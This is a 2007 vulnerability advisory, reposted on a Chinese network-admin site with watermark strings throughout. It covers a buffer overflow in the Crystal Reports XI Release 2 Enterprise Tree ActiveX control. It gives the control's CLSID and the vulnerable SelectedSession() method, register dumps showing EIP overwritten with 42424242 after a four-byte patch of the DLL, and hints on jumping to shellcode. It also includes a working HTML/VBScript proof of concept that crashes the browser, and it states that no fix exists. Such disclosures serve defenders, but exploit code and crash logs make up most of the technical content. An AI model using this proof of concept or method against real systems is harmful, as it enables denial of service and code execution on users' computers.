| 网管联盟 | 网管论坛 | 网管u家 | 网管博客 | 网管软件 | 网管求职 | 小游戏 | 网管搜索 | 网管原创 | 网管聚合 | 网管读摘 | 网管焦点 | 世界素材 | 会员投稿 | 会员中心 |
|
| Windows Linux Cisco 网络技术 数据库 黑客攻防 DotNet Java PHP 认证 新闻资讯 服务器 存储资讯 网络设备 网管学堂 技术专题 焦点 网吧频道 |
####################################################
Application: Crystal Reports XI Release 2 (Enterprise Tree Control) Remote BoF/Dos
www.businessobjects.com
Versions: 11
Platforms: Windows XP Professional
Bug: buffer-overflow
Exploitation: remote
Date: 2007-01-16
网管有家bitscn.net
Author: shinnai
e-mail: shinnai[at]autistici[dot]org
web: http://shinnai.altervista.org 网管下载dl.bitscn.com
#################################################### 网管网www.bitscn.com
1) Introduction
2) Technical details and bug
3) The Code
4) Fix
中国网管联盟bitsCN.com
#####################################################
网管u家bitscn.net
===============
1) Introduction
===============
网管u家www.bitscn.net
This component is used to visualize on the web reports created with
Crystal Reports
网管下载dl.bitscn.com
#####################################################################################
============================
2) Technical details and bug
============================
中国网管联盟bitsCN.com
Name: EnterpriseControls.dll
Ver.: 11.5.0.313
CLSID: {3D58C9F3-7CA5-4C44-9D62-C5B63E059050}
MD5: 179e2dc7f9f6e9d6e0210e89c623fd72
网管bitscn_com
Marked as:
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
IPStorage Safe: Safe for untrusted: caller,data
The problem is a buffer-overflow which occours when you use the 网管论坛bbs_bitsCN_com
"SelectedSession()" method.
It seems that, during the initialization of the component, a race
condition occours between threads and 4 bytes of the same component
will overwrite EIP.
If you patch these 4 bytes, you can control this register, using
it to jump to a shellcode and execute arbitrary code on user's pc.
For exploiting this vulnerability you only need to create a web
page containing the CLSID and the codebase path to your crafted
ActiveX.
These are registers using the original file:
14:59:34.126 pid=1468 tid=1250 EXCEPTION (first-chance)
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [FF7DE928]) 网管论坛bbs_bitsCN_com
----------------------------------------------------------------
EAX=5A4472D4: 83 6C 24 04 28 E9 7D FF-FF FF 83 6C 24 04 2C E9
EBX=036B68CC: 44 C7 4D 5A 28 C7 4D 5A-00 C7 4D 5A D4 C6 4D 5A
ECX=5A4DC55C: D4 72 44 5A 65 6C 44 5A-6F 6C 44 5A E4 6F 44 5A
EDX=5A4DC55C: D4 72 44 5A 65 6C 44 5A-6F 6C 44 5A E4 6F 44 5A
ESP=01FCF3A8: B4 3B 43 5A 5C C5 4D 5A-C8 F7 44 5A 68 F4 FC 01
EBP=01FCF3D4: 5C F4 FC 01 77 01 45 5A-68 F4 FC 01 54 F7 07 03
ESI=5A4DE140: 79 3A 5C 66 72 61 6D 65-77 6F 72 6B 5F 73 64 6B
EDI=036B68F4: 5C C5 4D 5A 44 C5 4D 5A-01 00 00 00 30 C5 4D 5A
EIP=FF7DE928: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
--> N/A
---------------------------------------------------------------- 网管u家u.bitscn@com
14:59:34.142 pid=1468 tid=1250 EXCEPTION (unhandled) 网管网www_bitscn_com
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [FF7DE928])
----------------------------------------------------------------
EAX=5A4472D4: 83 6C 24 04 28 E9 7D FF-FF FF 83 6C 24 04 2C E9
EBX=036B68CC: 44 C7 4D 5A 28 C7 4D 5A-00 C7 4D 5A D4 C6 4D 5A
ECX=5A4DC55C: D4 72 44 5A 65 6C 44 5A-6F 6C 44 5A E4 6F 44 5A
EDX=5A4DC55C: D4 72 44 5A 65 6C 44 5A-6F 6C 44 5A E4 6F 44 5A
ESP=01FCF3A8: B4 3B 43 5A 5C C5 4D 5A-C8 F7 44 5A 68 F4 FC 01
EBP=01FCF3D4: 5C F4 FC 01 77 01 45 5A-68 F4 FC 01 54 F7 07 03
ESI=5A4DE140: 79 3A 5C 66 72 61 6D 65-77 6F 72 6B 5F 73 64 6B
EDI=036B68F4: 5C C5 4D 5A 44 C5 4D 5A-01 00 00 00 30 C5 4D 5A
EIP=FF7DE928: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
--> N/A
---------------------------------------------------------------- 网管网www.bitscn.com
We'll find these 4 bytes at this address:
0x000172D8 "28 E9 7D FF"...
using an hex editor to modify to:
0x000172D8 "42 42 42 42"... 中国网管论坛bbs.bitsCN.com
we'll have:
网管有家www.bitscn.net
C:\Tools>bindiff /c /d EnterpriseControls_patched.dll EnterpriseControls_ori.dll
Different, Left is newer 4 bytes differ
================================================================================
000172D0 87 FF FF FF 83 6C 24 04 .....l$. 87 FF FF FF 83 6C 24 04 .....l$.
000172D8 <42 42 42 42>FF FF 83 6C BBBB...l <28 E9 7D FF>FF FF 83 6C (.}....l
000172E0 24 04 2C E9 $.,. 24 04 2C E9 $.,.
================================================================================
File Count Summary
Identical: 0 files
Near Identical: 0 files
Different: 1 files
Left Only: 0 files
Right Only: 0 files
Errors: 0 files
Total: 1 files 中国网管论坛bbs.bitsCN.com
Byte Count Summary
Matched: 4 bytes differ
Left Only: 0 bytes
Right Only: 0 bytes
Total: 4 bytes 网管联盟bitsCN_com
and registers values will be: 网管u家u.bitsCN.com
15:05:38.947 pid=12D4 tid=1240 EXCEPTION (first-chance)
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [42424242])
----------------------------------------------------------------
EAX=5A4472D4: 83 6C 24 04 42 42 42 42-FF FF 83 6C 24 04 2C E9
EBX=037368CC: 44 C7 4D 5A 28 C7 4D 5A-00 C7 4D 5A D4 C6 4D 5A
ECX=5A4DC55C: D4 72 44 5A 65 6C 44 5A-6F 6C 44 5A E4 6F 44 5A 网管联盟bitsCN@com
EDX=5A4DC55C: D4 72 44 5A 65 6C 44 5A-6F 6C 44 5A E4 6F 44 5A
ESP=01FCF3CC: B4 3B 43 5A 5C C5 4D 5A-C8 F7 44 5A 8C F4 FC 01
EBP=01FCF3F8: 80 F4 FC 01 77 01 45 5A-8C F4 FC 01 CC 99 9D 02
ESI=5A4DE140: 79 3A 5C 66 72 61 6D 65-77 6F 72 6B 5F 73 64 6B
EDI=037368F4: 5C C5 4D 5A 44 C5 4D 5A-01 00 00 00 30 C5 4D 5A
EIP=42424242: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
--> N/A
----------------------------------------------------------------
网管联盟bitsCN@com
15:05:38.978 pid=12D4 tid=1240 EXCEPTION (unhandled) 网管下载dl.bitscn.com
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [42424242])
----------------------------------------------------------------
EAX=5A4472D4: 83 6C 24 04 42 42 42 42-FF FF 83 6C 24 04 2C E9
EBX=037368CC: 44 C7 4D 5A 28 C7 4D 5A-00 C7 4D 5A D4 C6 4D 5A
ECX=5A4DC55C: D4 72 44 5A 65 6C 44 5A-6F 6C 44 5A E4 6F 44 5A
EDX=5A4DC55C: D4 72 44 5A 65 6C 44 5A-6F 6C 44 5A E4 6F 44 5A
ESP=01FCF3CC: B4 3B 43 5A 5C C5 4D 5A-C8 F7 44 5A 8C F4 FC 01
EBP=01FCF3F8: 80 F4 FC 01 77 01 45 5A-8C F4 FC 01 CC 99 9D 02
ESI=5A4DE140: 79 3A 5C 66 72 61 6D 65-77 6F 72 6B 5F 73 64 6B
EDI=037368F4: 5C C5 4D 5A 44 C5 4D 5A-01 00 00 00 30 C5 4D 5A
EIP=42424242: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
--> N/A
---------------------------------------------------------------- 网管有家bitscn.net
isn't it fun?
Naturally, EIP overwrite requires that someone uses the crafted dll otherwise
you can just enjoy a crash of tha application. 网管bitscn_com
##################################################################################### 网管朋友网www_bitscn_net
===========
3) The Code
===========
网管论坛bbs_bitsCN_com
I will release a public exploit but, this time, no code execution ;-)
Everything I could say is that you can directly inject your shellcode into the dll
or pass an argument to "SelectedSession()" method and then jump to the shellcode.
网管联盟bitsCN_com
Poc: Click here for DoS exploit 网管bitscn_com
<html>
<object classid='clsid:3D58C9F3-7CA5-4C44-9D62-C5B63E059050' id='test'></object>
<script language = 'vbscript'>
test.SelectedSession = ""
</script>
</html>
##################################################################################### 网管u家bitscn.net
======
4) Fix
======
No fix 网管有家www.bitscn.net
#####################################################################################
网管u家u.bitscn@com
|
0
|
评论加载中…